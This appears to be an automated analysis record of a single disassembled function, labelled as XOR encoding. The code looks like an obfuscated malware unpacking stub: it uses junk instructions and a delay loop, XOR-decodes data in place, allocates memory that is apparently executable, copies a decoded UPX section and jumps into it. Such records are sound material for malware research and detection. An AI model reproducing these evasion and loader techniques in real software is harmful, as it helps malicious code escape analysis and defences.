Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xffda330f
or ebx, edx
mov edx, ebx
popal
and ebx, edx
sub edx, ebx
sub edx, ebx
mov ecx, 0
mov ebx, edi
and esi, esi
mov esi, edx
dec esi
mov eax, ebx
add edx, 0x2939c61b
and edx, esi
mov edi, eax
dec esi
inc edx
add ecx, 1
or esi, edx
sub esi, 0xdc7d16ad
cmp ecx, 0x1001d7c
jne 0xa789c2
add edx, 0x7628b187
or edx, edx
dec edx
add edx, ebx
sub edx, 0xd4a505ec
mov edx, 0xa78796
and eax, ebx
mov edi, 0xb57a189b
mov ecx, 0xa7898a
or edi, ebx
add ebx, ebx
mov esi, dword [edx]
add edi, 0xe61215e6
not ebx
mov edi, ebx
and esi, 0xff
add eax, ebx
not ebx
xor dword [ecx], esi
dec eax
mov ebx, 0x243c113c
inc ebx
inc ecx
not edi
mov ebx, 0xf1e0080d
add edx, 1
sub eax, ebx
mov eax, 0x122185c9
or edi, ebx
cmp ecx, entry0
jl 0xa78a17
inc eax
sub ebx, 0x6c1ef2a8
inc eax
dec edi
add eax, edi
add ebx, 0x4d570b7
add esi, 1
and ecx, edi
mov edx, 0xa7898e
sub esi, 0x304d24c3
add ecx, 1
not edi
mov edx, dword [edx]
mov esi, edi
mov esi, ecx
mov edx, dword [edx]
add ebx, esi
inc edi
push edx
mov ecx, 0xe4c9717c
not edi
mov edx, 0xa7898a
mov esi, 0x73f6828
sub ecx, 0xfa81a257
mov edx, dword [edx]
add ebx, ebx
add edi, 0x59d9827d
mov edx, dword [edx]
add ebx, esi
mov esi, 0x6daa3acb
mov edi, 0x31c972d3
push 0xa78992
mov edi, 0x6ee57c49
add ebx, 0xac778ceb
call edx
dec ebx
add ecx, esi
add esi, 1
pop edx
mov ebx, ecx
add edi, 0x1f163e02
and esi, ecx
sub esp, 4
mov dword [esp], 0xa7899f
sub esi, edi
add ecx, 1
mov ebx, ecx
push eax
or ebx, ebx
and ecx, edi
mov edi, esi
call edx
add esi, ebx
mov esi, 0xb1e95780
not edi
sub esp, 4
mov dword [esp], 0x40
not ebx
and esi, edi
mov esi, 0xcaeb5ddc
push 0x3000
dec esi
sub esi, 0x7076bd09
mov ecx, 0x580e86dc
push 0x200008b8
sub ebx, ecx
and esi, ebx
push 0
and esi, esi
or ecx, esi
sub esi, 0x2140111c
call eax
add esi, ebx
mov esi, edi
sub edi, ecx
add eax, 0x20000834
sub esi, edi
dec edi
mov edx, 0xb34dbab4
sub ecx, 1
or ecx, ecx
mov dword [eax], edx
sub edi, ecx
inc edi
mov edi, ebx
mov edx, dword [eax]
add edi, 0x6851f546
sub edi, ecx
add esi, ebx
cmp edx, 0xb34dbab4
je 0xa78b88
mov ebx, 0
mov ecx, dword [ebx]
or edi, edi
mov edi, 0xf6a9b8af
mov ecx, 0xba3822b5
mov ecx, 0x6082dcde
and ebx, edx
inc edx
mov eax, section.UPX1
or edx, ebx
add edx, 0xc2ca65c6
mov ecx, 0xa78795
dec ebx
add edx, ebx
mov esi, 0
add ebx, edx
inc edx
mov edi, 0xa78796
sub edx, 0xe88e36f0
add edx, 0xe33352d6
sub ebx, 0xc809b6f1
lea edi, [edi + esi]
mov ebx, edx
and edx, edx
mov edi, dword [edi]
not edx
or edx, edx
add edx, ebx
and edi, 0xff
not edx
dec edx
sub ebx, 0xaaa9b125
inc esi
and edx, edx
sub ebx, 0x48ed9fe3
add edx, edx
cmp esi, 0x1f4
jne 0xa78c06
mov esi, 0
add ebx, 0x3ecd4a4
add ebx, 0x7ec93e66
add ebx, edx
add ebx, ebx
and edx, edx
xor dword [eax], edi
add ebx, ebx
or ebx, edx
add eax, 2
sub ebx, edx
not edx
cmp eax, ecx
jl 0xa78bb9
add edx, ebx
or edx, edx
or ebx, edx
dec edx
inc edx
mov edx, section.UPX1
sub edi, 0x90b710b4
dec esi
mov ebx, section.UPX1
or esi, edi
mov esi, 0xdbfc14aa
mov eax, 0xa78795
mov esi, 0x3c04e33
not esi
and edi, edi
mov ecx, 0
mov esi, edi
sub esi, 0x73648d7e
mov cl, byte [ebx]
mov esi, 0x4609e230
inc edi
or esi, edi
mov byte [edx], cl
not esi
or esi, edi
sub esi, edi
inc edx
inc esi
and esi, esi
mov edi, esi
add ebx, 2
not edi
sub esi, edi
or edi, edi
cmp ebx, eax
jle 0xa78c6b
add edi, 0x427f0d4c
not edi
or edx, ebx
or edx, edx
mov edx, 0x7e6c22d7
push 0x8dc6a0
or ebx, ebx
add edx, ebx
ret